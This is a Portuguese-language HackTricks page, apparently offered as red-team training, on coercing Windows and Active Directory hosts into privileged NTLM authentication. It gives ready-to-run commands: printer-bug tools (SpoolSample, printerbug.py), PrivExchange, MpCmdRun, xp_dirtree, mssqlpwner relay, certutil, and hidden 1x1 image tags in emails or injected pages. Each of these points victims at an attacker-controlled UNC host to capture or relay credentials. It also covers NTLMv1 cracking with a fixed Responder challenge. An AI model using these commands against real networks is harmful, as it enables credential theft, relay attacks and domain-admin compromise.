8.2 KiB
Forçar Autenticação Privilegiada NTLM
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SharpSystemTriggers
SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.
Abuso do Serviço de Spooler
Se o Serviço de Spooler de Impressão estiver ativado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e apenas dizer para enviar a notificação para algum sistema.
Observe que, quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer o Serviço de Spooler de Impressão se autenticar contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.
Encontrando Servidores Windows no domínio
Usando PowerShell, obtenha uma lista de máquinas Windows. Servidores geralmente têm prioridade, então vamos focar lá:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Encontrando serviços de Spooler escutando
Usando uma versão ligeiramente modificada do @mysmartlogin (Vincent Le Toux) SpoolerScanner, veja se o Serviço de Spooler está escutando:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Você também pode usar rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Peça ao serviço para autenticar contra um host arbitrário
Você pode compilar SpoolSample daqui.
SpoolSample.exe <TARGET> <RESPONDERIP>
ou use 3xocyte's dementor.py ou printerbug.py se você estiver no Linux
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Combinando com Delegação Incontrolada
Se um atacante já comprometeu um computador com Delegação Incontrolada, o atacante poderia fazer a impressora se autenticar contra este computador. Devido à delegação incontrolada, o TGT da conta de computador da impressora será salvo na memória do computador com delegação incontrolada. Como o atacante já comprometeu este host, ele poderá recuperar este ticket e abusar dele (Pass the Ticket).
Autenticação Forçada RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
O ataque PrivExchange
é resultado de uma falha encontrada no recurso PushSubscription
do Exchange Server. Este recurso permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
Por padrão, o serviço Exchange é executado como SYSTEM e recebe privilégios excessivos (especificamente, possui privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019). Essa falha pode ser explorada para habilitar o encaminhamento de informações para o LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para o LDAP não é possível, essa falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário autenticada do domínio.
Dentro do Windows
Se você já estiver dentro da máquina Windows, pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
É possível usar certutil.exe lolbin (binário assinado pela Microsoft) para forçar a autenticação NTLM:
certutil.exe -syncwithWU \\127.0.0.1\share
HTML injection
Via email
Se você souber o endereço de e-mail do usuário que faz login em uma máquina que você deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
e quando ele o abrir, ele tentará se autenticar.
MitM
Se você puder realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Quebrando NTLMv1
Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.